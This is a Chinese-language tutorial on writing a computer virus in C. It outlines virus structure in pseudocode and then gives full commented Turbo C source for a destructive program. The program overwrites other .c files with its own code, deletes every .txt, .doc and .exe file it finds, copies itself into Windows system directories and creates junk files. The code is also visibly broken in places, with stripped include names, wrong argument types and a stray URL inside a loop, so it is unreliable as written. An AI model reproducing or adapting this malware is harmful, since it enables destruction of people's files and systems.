手把手教你用c语言编写网络病毒

简介: 手把手教你用c语言编写网络病毒

怎样用C语言编写病毒

一、什么是病毒

恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.

我们要对付病毒,就要了解病毒.

写一些病毒是一个很好的办法.

如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:

“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。


要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

二、 编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看学写病毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。

2).32位汇编,以指令用法为主。386汇编就比较够用了。

3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。

4).调试技术。VC,TD32,SoftIce,等等。

要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C

以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒




以TurboC2.0为例.它的库函数可以实现很多功能.

如以下两个函数:

1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件

在这里小编给大家一个用C语言编写的小病毒(别想做坏事哦)

C语言开发病毒程序实例

代码:

//连接头文件

#include

#include

#include

#include

#include

//拷贝文件模块

int copyfile (char *infile, char *outfile)

{

FILE *in,*out; //定义文件指针

in = fopen(infile,"r"); //打开文件

out = fopen(outfile,"w"); //建立文件

while (!feof(in)) //判断文件是否已结束

{www.ad0.cn

fputc (fgetc(in),out); //从in读一字符到out

}

fclose (in); //关闭in文件

fclose (out);//关闭out文件

return 0; //返回

}

int MakeRubbish (void)

{

int i; //声明整形变量i

FILE *fp; //文件指针fp

char *path; //路径指针

char *NewName;

char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组

char *addtion = ":\";

for (i = 0; i<5; i++) //循环4次

{

char tempname[] = "XXXXXX" ; //随机名字

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建文本文件

fclose (fp); //关闭fp文件流

}

path = strcat(disk[getdisk()],addtion); //得到根编号

chdir(path); //改变工作目录

for (i = 0; i<5; i++) //循环次数

{

char tempname[] = "XXXXXX"; //串赋入数组

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建新文件

fclose (fp); //关闭文件

}

return 0; //返回

}

int CreatEXE (void)

{

int i; //整形变量

char *path; //字符指针

char *s[2] = { //重要目录

"C:\WINDOWS\system32\loveworm.exe",

"C:\WINDOWS\virusssss.com"

};

for ( i = 0; i < 2; i++) //循环控制次数

{

open(s, 0x0100,0x0080); //打开文件写入数据

copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据

}

return 0;

}

int Remove (void) //去处

{

int done; //定义整形变量

int i;

struct ffblk ffblk; //声明结构体变量ffblk

char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组

for (i = 0; i < 3; i++)//控制循环次数

{

done = findfirst(documenttype,&ffblk,2);//搜索目录

while (!done) //查找成功返回0

{

remove (ffblk.ff_name); //删除一个文件

done = findnext(&ffblk);

}

}

return 0;//返回

}

int Breed (void) //养殖模块

{

int done;//整形变量

struct ffblk ffblk; //声名结构变量

done = findfirst("*.c",&ffblk,2);

while (!done)

{

if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{

copyfile("C_KILLER.C",ffblk.ff_name);

}

done = findnext(&ffblk);

}

return 0;

}

int main (void) //程序入口地址

{

printf ("液虫病毒,by:云志老师. ");

Breed (); //养殖病毒

Remove (); //去处

CreatEXE ();

printf ("您能告诉我您的名字? ");

printf ("现在麻烦您输入您的名字! ");

MakeRubbish (); //调用子函数

getchar ();

clrscr (); //清除屏幕

system ("cmd");

getch ();

return 0;

}

C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。



相关文章
|
10月前
|
监控 Linux PHP
【02】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-2月12日优雅草简化Centos stream8安装zabbix7教程-本搭建教程非docker搭建教程-优雅草solution
【02】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-2月12日优雅草简化Centos stream8安装zabbix7教程-本搭建教程非docker搭建教程-优雅草solution
326 20
|
10月前
|
监控 关系型数据库 MySQL
【01】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-硬件设备实时监控系统运营版发布-本产品基于企业级开源项目Zabbix深度二开-分步骤实现预计10篇合集-自营版
【01】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-硬件设备实时监控系统运营版发布-本产品基于企业级开源项目Zabbix深度二开-分步骤实现预计10篇合集-自营版
292 0
|
存储 网络协议 物联网
C 语言物联网开发之网络通信与数据传输难题
本文探讨了C语言在物联网开发中遇到的网络通信与数据传输挑战,分析了常见问题并提出了优化策略,旨在提高数据传输效率和系统稳定性。
|
网络协议 物联网 数据处理
C语言在网络通信程序实现中的应用,介绍了网络通信的基本概念、C语言的特点及其在网络通信中的优势
本文探讨了C语言在网络通信程序实现中的应用,介绍了网络通信的基本概念、C语言的特点及其在网络通信中的优势。文章详细讲解了使用C语言实现网络通信程序的基本步骤,包括TCP和UDP通信程序的实现,并讨论了关键技术、优化方法及未来发展趋势,旨在帮助读者掌握C语言在网络通信中的应用技巧。
334 2
|
网络协议 Unix C语言
C语言 网络编程(十六)广播和组播
广播和组播是网络通信的重要方式。广播允许一台主机向子网内所有主机发送数据包,常用于局域网内的消息传播;组播则将数据包发送给特定的一组主机,适用于视频会议等应用场景。广播地址如 `192.168.1.255` 用于同一子网的所有主机。组播地址如 `224.0.0.0` 至 `239.255.255.255` 标识特定主机群。C语言示例展示了如何通过 UDP 实现广播和组播通信。此外,UNIX域套接字用于同一机器上进程间的高效通信。
894 14
|
网络协议 算法 网络性能优化
C语言 网络编程(十五)套接字选项设置
`setsockopt()`函数用于设置套接字选项,如重复使用地址(`SO_REUSEADDR`)、端口(`SO_REUSEPORT`)及超时时间(`SO_RCVTIMEO`)。其参数包括套接字描述符、协议级别、选项名称、选项值及其长度。成功返回0,失败返回-1并设置`errno`。示例展示了如何创建TCP服务器并设置相关选项。配套的`getsockopt()`函数用于获取这些选项的值。
425 12
|
网络协议 C语言
C语言 网络编程(十三)并发的TCP服务端-以进程完成功能
这段代码实现了一个基于TCP协议的多进程并发服务端和客户端程序。服务端通过创建子进程来处理多个客户端连接,解决了粘包问题,并支持不定长数据传输。客户端则循环发送数据并接收服务端回传的信息,同样处理了粘包问题。程序通过自定义的数据长度前缀确保了数据的完整性和准确性。
|
网络协议 C语言
C语言 网络编程(十四)并发的TCP服务端-以线程完成功能
这段代码实现了一个基于TCP协议的多线程服务器和客户端程序,服务器端通过为每个客户端创建独立的线程来处理并发请求,解决了粘包问题并支持不定长数据传输。服务器监听在IP地址`172.17.140.183`的`8080`端口上,接收客户端发来的数据,并将接收到的消息添加“-回传”后返回给客户端。客户端则可以循环输入并发送数据,同时接收服务器回传的信息。当输入“exit”时,客户端会结束与服务器的通信并关闭连接。
|
网络协议 C语言
C语言 网络编程(十一)TCP通信创建流程---服务端
在服务器流程中,新增了绑定IP地址与端口号、建立监听队列及接受连接并创建新文件描述符等步骤。`bind`函数用于绑定IP地址与端口,`listen`函数建立监听队列并设置监听状态,`accept`函数则接受连接请求并创建新的文件描述符用于数据传输。套接字状态包括关闭(CLOSED)、同步发送(SYN-SENT)、同步接收(SYN-RECEIVE)和已建立连接(ESTABLISHED)。示例代码展示了TCP服务端程序如何初始化socket、绑定地址、监听连接请求以及接收和发送数据。
|
C语言
C语言 网络编程(八)并发的UDP服务端 以进程完成功能
这段代码展示了如何使用多进程处理 UDP 客户端和服务端通信。客户端通过发送登录请求与服务端建立连接,并与服务端新建的子进程进行数据交换。服务端则负责接收请求,验证登录信息,并创建子进程处理客户端的具体请求。子进程会创建一个新的套接字与客户端通信,实现数据收发功能。此方案有效利用了多进程的优势,提高了系统的并发处理能力。